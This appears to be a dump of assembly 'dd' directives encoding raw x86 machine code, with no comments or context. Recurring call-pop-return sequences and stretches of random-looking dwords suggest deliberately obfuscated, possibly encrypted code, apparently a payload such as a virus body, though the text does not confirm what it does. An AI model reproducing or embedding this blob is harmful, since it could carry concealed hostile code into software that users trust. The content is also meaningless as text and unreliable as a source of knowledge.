		dd 4E49858Bh, 0F98B4400h, 0F907C083h, 8B00C083h, 0BF0F60DFh
		dd 0D03B61FEh, 0B830Fh,	9D0B0000h, 7A8197Dh, 4CE9h, 0FF8D8B00h
		dd 52FFFFFFh, 1AD58589h, 835B07A8h, 840F01E1h, 35h, 6880Fh
		dd 0BD090000h, 7A81A7Dh, 0FFFFA583h, 89FEFFFFh,	0A804EDBDh
		dd 49958907h, 0E944004Eh, 0Ch, 0B8AA7107h, 9ED2C775h, 8DC7A697h
		dd 0E9h, 50B58D00h, 6A07AC91h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0F842C350h,	0F98B39B4h
		dd 2CA1F381h, 6A4517h, 18C19D8Bh, 853107A8h, 7A81389h
		dd 0D2195FFh, 870F07A8h, 0Ch, 6810Fh, 8D290000h, 7A80859h
		dd 1016B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 17E81A00h, 0FCE18333h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 1974F04Dh
		dd 0FCEBC69Fh, 10E8h, 4D2CB800h, 0C244FE14h, 0DE1D8333h
		dd 3ABC9867h, 5FB3B3B0h, 0B8h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 5FDE0512h
		dd 2BF0D45Ch, 2D9D89D2h, 3107A82Ah, 0A8272995h,	0C233AD07h
		dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0D15F096Ah
		dd 0ADC59948h, 2D9D8978h, 2907A82Ah, 0A8147595h, 0BCBB6607h
		dd 880D28h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 6275E5C3h, 7BF6F05Fh, 617DBFF3h
		dd 958B7CCBh, 7A81731h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 4BC35747h, 55865982h,	0CB510289h, 0DF8B6677h
		dd 0A598D8Bh, 8D8907A8h, 7A8263Dh, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 8D895818h, 7A80335h, 1885BD83h
		dd 0F0007A8h, 6984h, 9D8B5100h,	7A81859h, 0B85Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 22DF66C3h, 0ED18204Ah, 2952C465h, 0A81811BDh, 8D8D5F07h
		dd 7A84E4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0A4C35141h, 10C7D3ECh, 0D2A96979h, 66E1FFE0h, 0BD83D88Bh
		dd 7A80939h, 72840F00h,	83000004h, 0A80939BDh, 840F0107h
		dd 480h, 34F59501h, 9D8B07A8h, 7A82671h, 939BD83h, 0F0307A8h
		dd 43186h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0E579947Ch, 0EF083899h, 6A607Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0AFF9EFC3h, 5F096A80h, 519948D1h, 30C98589h,	665B07A8h
		dd 0BE8D98Ch, 0F8000000h, 33821518h, 1B747AC3h,	8D899A74h
		dd 7A81335h, 4E1805Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 6FC35141h, 9D2949FDh,	7A826C5h, 840FC90Ah
		dd 1ACh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0F1C35646h, 0CCC0F0B9h,	8D892EBBh, 7A81375h, 0BB1858Bh
		dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0A04AA2C3h, 12E9B22Ah, 18000000h,	25E9C30h
		dd 9E20A020h, 0A3B8E815h, 0F49F975Dh, 718533F9h, 8A07A828h
		dd 9E890DAh, 0E2000000h, 0CC1A087h, 8103B691h, 0F98B5250h
		dd 0FE9310Fh, 8000000h,	4817B7F1h, 9241C16Fh, 518C821h
		dd 585A42ECh, 5250505Bh, 310F5250h, 7E8h, 470ECA00h, 7CAA1DB7h
		dd 0F585A5Bh, 90585A31h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 83C35141h, 462EB6F2h,	8052CA05h, 6A5B65DBh
		dd 81BF6600h, 0F99D89BBh, 0E807A82Dh, 4, 1F03FFh, 0F50FE8Bh
		dd 82h,	24448B00h, 7E804h, 0AFFC0000h, 9CA8316Dh, 28A0F56h
		dd 0B7000000h, 8B5FB2h,	8E8h, 9B87E300h, 4148A94Fh, 44895B5Bh
		dd 0AE80424h, 0E000000h, 843825D8h, 16DFBAEFh, 5FF88BB7h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0C3B3F489h, 852923FAh, 7A80E75h,	13619589h
		dd 95FF07A8h, 7A80539h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 73C35141h, 0EF73C7BCh, 0BEBD45F3h, 1840Fh
		dd 89FC0000h, 0ABBB2B85h, 41BF6607h, 1BAE9A9h, 85290000h
		dd 7A8066Dh, 0BB23858Bh, 9D8907ABh, 7A80791h, 1081B589h
		dd 0C707A8h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0D2C35646h, 5E776A2Eh, 8B4DFD8Bh, 0A81B359Dh, 27B58B07h
		dd 6007ABBBh, 14E9h, 4363C500h,	0BD71D075h, 3552EA32h
		dd 6A576100h, 9E47AF76h, 858B6172h, 7A80CCDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 67C35343h, 0A66D42FCh
		dd 689BAFDh, 8BD88B66h,	0A80BB185h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 50D1B7DBh
		dd 2FA99D8Bh, 468907A8h, 4BBF5004h, 897B544Bh, 6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0FC3C1BC3h, 0C8D0Fh,	860F0000h, 6, 8F0Fh, 0B5FF0000h
		dd 7ABBB23h, 626CBF66h,	87682DB7h, 6669A003h, 8141E5BFh
		dd 782434h, 0BD8969BFh,	7A81449h, 0BB2B858Dh, 6A07ABh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 97B388C3h, 0CDBD0B65h, 5007A822h, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 3DAC352h, 0B7AB8D45h, 9D237B21h, 7A830E5h, 13E9h, 3DB40C00h
		dd 512F0745h, 40B02ACEh, 0C2642ABAh, 4573A593h,	53995FFh
		dd 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0C65535C3h, 66241D61h, 8B8EDF81h,	85C7FC61h
		dd 7A80939h, 3,	9B58B60h, 8107A810h, 92E198DAh,	0BD836136h
		dd 7ABBB2Bh, 0F840F00h,	66000000h, 0E98F19BBh, 21h, 335B589h
		dd 305007A8h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 199D29C0h, 8B07A805h, 0A830CD9Dh,	39BD8307h
		dd 307A809h, 403850Fh, 0BD8B0000h, 7A826B1h, 0BB2BBD83h
		dd 0F0007ABh, 3F084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0F96191Dh, 8B0A10E2h
		dd 0A81879BDh, 2BB5FF07h, 6A07ABBBh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D044C350h
		dd 9C7216h, 0B1BD0B8Eh,	0FF07A827h, 0A8247595h,	50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 135B02FBh, 0BE94F5Eh, 0E9000000h, 85D1327Ah,	0F4BF3C4Ch
		dd 0B58B22D9h, 7ABBB1Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0F4C35040h, 0FED9D8Bh, 0E38107A8h, 3464D1EEh
		dd 106C7h, 0E9570001h, 14h, 0A78C8511h,	0FD0EA0CEh, 902B5612h
		dd 48D0B60Ch, 882EA02Eh, 0E1B3505Fh, 6A243489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0B852C353h, 0A254C84Dh, 0C381A170h, 26DC4295h, 0BB2BB5FFh
		dd 95FF07ABh, 7A823E5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 84C35646h, 834D3551h,	18CBE417h, 0BB1FB58Bh
		dd 0D98B07ABh, 2941858Bh, 858907A8h, 7A83515h, 0C48689h
		dd 0EF800000h, 31958B5Bh, 8907A817h, 0A80FF19Dh, 4C28307h
		dd 2E45BD89h, 508907A8h, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B496616h, 0A82CF99Dh
		dd 0C1858D07h, 6A07ABCFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 2061C356h, 27915FC9h
		dd 165DF0CCh, 6830Fh, 0BD310000h, 7A81E65h, 0B88689h, 6A0000h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1AC35545h
		dd 0AEBD3541h, 2BB5FF32h, 6A07ABBBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 128FC351h
		dd 89E71EC0h, 0FFDBBF0Fh, 0A814E595h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 150450CBh, 9A9B9456h, 0DF8166A0h, 57967062h,	720ABB66h
		dd 0F60505Fh, 0B88h, 6E900h, 0A03D0000h, 3C007A67h, 8B669661h
		dd 2BB5FFDEh, 6A07ABBBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 8960C357h, 0C027E5A7h
		dd 66489E9Dh, 9589DE8Bh, 7A80911h, 1D0995FFh, 6A07A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 66060EC3h, 0BD83D98Bh, 7A81DFDh, 14840F00h, 8B000000h
		dd 0ECBF96F9h, 50502AC8h, 5BFD8A57h, 7DF38196h,	0FF17460Ah
		dd 0ABBB2BB5h, 95FFF507h, 7A810D5h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 38C35343h, 0F93E49F0h, 68F0F08h
		dd 89000000h, 0A80E9D8Dh, 0FA8B6607h, 0BB2BB5FFh, 6A07ABh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 788B1BC3h, 0BD896095h, 7A817F1h, 1DC59529h, 0E86107A8h
		dd 0Dh,	0F95BA0A1h, 0DACFF8C3h,	9B3493C3h, 119D8B7Ah, 5B07A809h
		dd 0B3995FFh, 13E907A8h, 1D000000h, 69247F1Bh, 36AA0F6Eh
		dd 0A5112F47h, 202D6759h, 0BD838AE5h, 7A831F5h,	16840F02h
		dd 81000000h, 24ED2DEBh, 81858B27h, 0C607A829h,	81660000h
		dd 8B04ACDBh, 0C985C7DAh, 7A821h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0B281C352h, 57A862F4h, 0BE89Bh, 1DD80000h, 0E2309E55h
		dd 0A65E189Bh, 0FBBF0FE8h, 0F393E95Bh, 6AFFFFh,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 95894CC3h, 7A827E5h,	6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 38D2D1C3h, 0F2B881Bh
		dd 382h, 0D9B70F00h, 425858Dh, 6A07A8h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 61939EC3h
		dd 0FF883E0h, 0FEDBD8Bh, 665007A8h, 489DE8Bh, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 7CB40D07h, 0CF80A3AEh, 5E830h, 84FD0000h, 0E914A692h
		dd 0Fh,	2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h, 5BC39AD4h, 6A006Ah
		dd 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0C1DC10C3h
		dd 0BF0F91B0h, 19589FBh, 6A07A82Bh, 858DF500h, 7AD280Ch
		dd 29A1BD89h, 0C08307A8h, 0C68A6005h, 0F9B58B60h, 3107A824h
		dd 0A8216D95h, 90616107h, 0E95093B7h, 9, 23CE08C1h, 0DE8FABE5h
		dd 6A9021h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0BDD407C3h, 5D04D8F7h, 0C18B6660h, 11E9h
		dd 10465300h, 99B9B82Eh, 0A5DE2B64h, 71F3710h, 6A61F0A9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 597CB59Ch, 88056CE8h, 153D8589h,	8C0F07A8h
		dd 13h,	0EE9h, 39CC9E00h, 0E6B4FFD4h, 0DC26287Dh, 6A7AA39Fh
		dd 95FFFC00h, 7A81B39h,	1511BD8Bh, 8D8D07A8h, 7AB9A3Bh
		dd 0FFF9B70Fh, 7D9D8BD1h, 8307A82Fh, 0A806A5BDh, 850F0107h
		dd 41h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h
		dd 0A6C35343h, 8EDC67D2h, 9C59D29h, 26A07A8h, 5059D8Bh
		dd 8B6607A8h, 48950FBh,	0ABE38124h, 0FF020668h,	0A814E595h
		dd 0DEDE907h, 0E80000h,	5D000000h, 2816ED81h, 0BB6607ADh
		dd 6A6818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0E235E4C3h, 20D2E9AEh, 89BD8B10h,	8D07A80Fh
		dd 0AB8C0385h, 0F531BB07h, 89505159h, 0BF0F2404h, 35FF64D8h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B6C35646h
		dd 11E9h, 5CBF1400h, 50DB3234h,	77B7D1B4h, 63BCAFA5h, 8964C6E8h
		dd 25h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1804h, 0C3534300h, 9F9A8834h, 0E585FF51h, 6A07A80Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 3F58C352h, 10D239A2h, 1E39BD8Bh, 8C0F07A8h
		dd 18h,	13E9h, 0D6C50800h, 0E1EC52CBh, 0E517CA55h, 0FAEDB797h
		dd 7F83B52Dh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0BAB81C3h, 5745839Bh, 5FF9BF0Fh
		dd 0FFF88B66h, 0A80AFDB5h, 0DE907h, 0DC260000h,	547AA39Fh
		dd 8F3E6714h, 0E9E39B2Bh, 5, 0DE5D28EAh, 6D95FF27h, 0E907A824h
		dd 105h, 0B032B3h, 6458D89h, 70E607A8h,	0FA8B71E4h, 830F613Ch
		dd 0EDh, 3440EF81h, 0B60F31A5h,	0A1B589C8h, 0BA07A803h
		dd 6, 13860Fh, 800F0000h, 0Dh, 8E9h, 85F62200h,	97AFC66Bh
		dd 0D3816681h, 0C18B5D0Ah, 645BD8Bh, 0E8C107A8h, 299D8B04h
		dd 6607A82Eh, 820FE2F7h, 6, 156D9D29h, 2BF907A8h, 8E8C8h
		dd 5F000000h, 27A594Eh,	5BF8C224h, 870FD18Bh, 6, 0FAEDCF81h
		dd 76E92977h, 0F000000h, 858BFFB7h, 505F4C4Ch, 0C083DE8Bh
		dd 83D98B07h, 8E0F00C0h, 0Ah, 5E9h, 6224A200h, 0D03B7DB8h
		dd 11830Fh, 9D090000h, 7A80AEDh, 40E9h,	3D9D2900h, 8B07A808h
		dd 0FFFFFF8Dh, 0EB8166FFh, 0E183177Fh, 26840F01h, 66000000h
		dd 8B5FBDBBh, 0FFA583FEh, 0FEFFFFFFh, 799D2951h, 5B07A81Ah
		dd 4C4C9589h, 9D89505Fh, 7A83045h, 0E9h, 66B58D00h, 0F07ACA1h
		dd 6AFAB7h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Dh,	70C35040h, 2C7131B4h, 0F09600D4h, 0B5BD2927h, 0E807A804h
		dd 7, 0EAF28F8Fh, 66209C92h, 0FF5FFE8Bh, 0A80D2195h, 89F1BF07h
		dd 0B0B92CF2h, 6A000010h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0BEDDC353h,	23E19D23h
		dd 5F5607A8h, 8BFCE183h, 0A81E69BDh, 8FCB8007h,	52006AFCh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0B3075985h, 2916F884h, 0A82C3D95h, 0F99D3307h, 0B807A82Dh
		dd 0
		dd 29518589h, 816007A8h, 605E11C8h, 61D68B06h, 0BAh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0B9CBD3F0h, 0AD398B3Ah, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A8B8C355h, 0BE8446Dh, 39000000h,	3E2EFE1Eh
		dd 1D061FF0h, 0BD895B63h, 7A829E9h, 0D61605Fh, 88h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8EC35242h, 812F4BE8h
		dd 2E035BDFh, 31958B7Fh, 0F07A817h, 58Eh, 0D3816600h, 8D8BDF2Dh
		dd 7A80A59h, 0A921BF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0BB205CC3h, 0EFD770Bh, 85BD83F9h
		dd 7A818h, 87840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0FF6DA5C3h, 5ADC017h
		dd 0BBA92F2Fh, 5CB2283Eh, 0B8h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F947B0E7h
		dd 4659D8Bh, 8D8D07A8h,	7A84E4Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0C0C35646h,	68D0F71h, 8B000000h
		dd 0A83275BDh, 8BE1FF07h, 39BD83D8h, 7A809h, 3D0840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 1236CFC3h, 9BC7D401h, 2A2D9D8Bh, 0F38107A8h
		dd 73234696h, 939BD83h,	0F0107A8h, 3B084h, 0B4BF6600h
		dd 39BD83DCh, 307A809h,	369860Fh, 0E8530000h, 13h, 0C43AF868h
		dd 0E0CAE478h, 9F54E352h, 0B91699ABh, 8B51C15Fh, 0A810A59Dh
		dd 605F5F07h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	8AC35343h, 239DAF6Ch, 0C0495A42h, 499D8BEFh, 6607A821h
		dd 8E0FD98Ch, 6, 2E758589h, 9D2907A8h, 7A817C5h, 6A04E180h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0F32BC356h, 0AA4ACC41h, 0BD8B3E63h, 7A827C9h
		dd 840FC90Ah, 128h, 54F78166h, 0B1858BE0h, 6A07A80Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 825CC351h, 8C0Fh, 0C7810000h, 5EE18A95h, 28718533h
		dd 0BD3307A8h, 7A807F9h, 25E1BD8Bh, 535007A8h, 0CA8B6660h
		dd 0EE9h, 3CA71A00h, 0B6DF9A48h, 2B610CB1h, 6150B265h
		dd 2404895Fh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	0FEC35141h, 1311551Eh, 0E58669ACh, 6A02F780h, 0C01F6800h
		dd 8E9AF39h, 31000000h,	7E96D646h, 814C6380h, 43E02404h
		dd 0DA8A50E5h, 53995FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0F2861CC3h, 0FE0235Bh
		dd 198Dh, 11E800h, 1C2F0000h, 0C19221FCh, 56540C0Eh, 23D82C35h
		dd 5794468Fh, 0AE95B5Fh, 36000000h, 39227C88h, 5ABF2252h
		dd 2B858924h, 6607ABBBh, 0E9CF0FBFh, 117h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 99C35646h, 0BB23858Bh
		dd 0EBF07ABh, 0C76BF6F4h, 1800h, 9DB58900h, 8B07A81Bh
		dd 0ABBB27B5h, 0CD858B07h, 0E907A80Ch, 5, 71ACFBD3h, 89068941h
		dd 0A81321B5h, 85BD8B07h, 8B07A80Ch, 0A80BB185h, 0E3DB8107h
		dd 89368E52h, 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0B2AA33C3h, 89206B6Fh, 0A8055585h
		dd 0C1BD0107h, 9607A80Ch, 96FC8A50h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 7DC35242h, 0FBBF6651h, 0B5FF5FBDh
		dd 7ABBB23h, 15659501h,	0FD6807A8h, 0B7D1BE8Ch,	2404810Bh
		dd 2E607702h, 998D8951h, 5B07A819h, 0BB2B858Dh,	0B50107ABh
		dd 7A81071h, 50F88B90h,	90F88B66h, 0B36A1CBFh, 3995FF0Eh
		dd 0E807A805h, 0Eh, 0C1FEDB10h,	10CF0EC2h, 3AF11531h, 8B505D93h
		dd 0A80759BDh, 615B5B07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 6C35343h, 5B1DAE6Eh, 95297BC4h, 7A82A5Dh
		dd 93985C7h, 307A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0B34A27C3h, 83DAE7D9h
		dd 0ABBB2BBDh, 840F0007h, 4Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 64C35343h, 1571BD89h, 43E907A8h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 241BC357h, 0CEBF6605h,	0C5B52928h
		dd 5007A825h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 890FC08Bh,	3, 6AF88B66h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 53F7C351h
		dd 664DB613h, 0BD83FA8Bh, 7A80939h, 0C0850F03h,	6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0C1FEC353h, 251DBD89h, 0BD8307A8h, 7ABBB2Bh
		dd 90840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 15EDC352h, 535D8705h
		dd 38E0FB1h, 0F000000h,	0F60D9B7h, 14E9CFB7h, 0AE000000h
		dd 72CE29CCh, 0E1C98A64h, 9DAEEE08h, 6CC1802Ch,	614790ACh
		dd 0BB2BB5FFh, 8E907ABh, 28000000h, 0E9FD14Ch, 0FF73F002h
		dd 0A8247595h, 880F07h,	89000000h, 0A824259Dh, 1FB58B07h
		dd 6A07ABBBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0A6FCC350h, 0B919F62Eh, 9E10D608h
		dd 6018529h, 6C707A8h, 10001h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0ADC35040h,	6688F071h, 8A50DE8Ah
		dd 243489D9h, 77C78166h, 2BB5FF03h, 6A07ABBBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 52BEC353h, 0D4A5DAA1h, 27B9B589h, 830F07A8h,	4, 0AE8CBF66h
		dd 23E595FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0AE82BC3h, 7F000000h, 4A80CF7Eh
		dd 0A0D95206h, 0BB5FFC23h, 17F6DCC4h, 0BB1FB58Bh, 6A07ABh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 39A92EC3h, 85EF15CFh, 8166F5DAh, 8B10EFE3h, 0A8294185h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 29A4FE74h, 6BC3B2F6h, 14E957h, 7FEF0000h
		dd 0DE30EAA8h, 9D029D1Ch, 0A2D60AD8h, 0D1DDE2EAh, 895F80BEh
		dd 0C486h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 5E9FE156h, 9E573523h, 958BF802h
		dd 7A81731h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	48C35545h, 4FA3A2F9h, 0C3EA2DA1h, 59BB6663h, 4C2830Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 85C35747h
		dd 205089AAh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	1EC35343h, 0AADAC40Ch, 8D8F5453h, 0ABCFC185h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0A5ACD2Bh, 66570D50h, 0F381CF38h, 293A4E6Fh,	0B88689h
		dd 0BF660000h, 6A6AF8h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 85C35343h, 0FF595726h, 0ABBB2BB5h, 0C3816607h
		dd 95FF4E67h, 7A814E5h,	8B66FC60h, 10E861F3h, 0C7000000h
		dd 1F80EA18h, 0B24BADD6h, 0FCA89146h, 89524B0Dh, 0A8133195h
		dd 89505B07h, 0F7812434h, 3DA97FDBh, 0BB2BB5FFh, 6A07ABh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0B57EC5C3h, 10E95396h, 0EA000000h, 13A418B1h, 860A28F1h
		dd 2A543040h, 0FF4E82FEh, 0A81D0995h, 759D3307h, 8307A831h
		dd 0A81DFDBDh, 840F0007h, 2Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0B1C35040h,	6680BF50h, 3489191Dh
		dd 31858924h, 0FF07A815h, 0ABBB2BB5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0F330B23h, 680h, 8C0F00h, 0FF000000h, 0A810D595h, 2BB5FF07h
		dd 0BF07ABBBh, 6575E88Ch, 0D1958B60h, 6107A80Fh, 0B3995FFh
		dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0BBEB73C3h, 4852ECECh, 31F5BD83h,	0F0207A8h
		dd 7284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 322FD27Eh, 768FD374h, 51BF66FAh
		dd 81858BBBh, 0F07A829h, 689h, 0B5953100h, 0C607A80Eh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0D99B29C3h, 0ED8C8BBFh, 894A2831h, 0A81DE9BDh
		dd 0B9B58907h, 6607A82Dh, 0C797C3BFh, 0A821C985h, 7, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 61236A52h, 3A6EDA50h, 8166299Ah, 0E9EAF8C7h,	0FFFFF34Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 40C35242h
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 3DC193C3h, 24574B30h, 8DFBBF0Fh, 0A8042585h
		dd 0D98B6607h, 66525050h, 0F10D4BFh, 0ABD9BB31h, 585A045Eh
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 12FDC352h, 89006A56h, 0A8172595h
		dd 6A006A07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 1906C353h, 0DDA422A9h,	8DFFBF0Fh
		dd 0AD37E285h, 83DE8B07h, 8B6605C0h, 0AE950DAh,	6C000000h
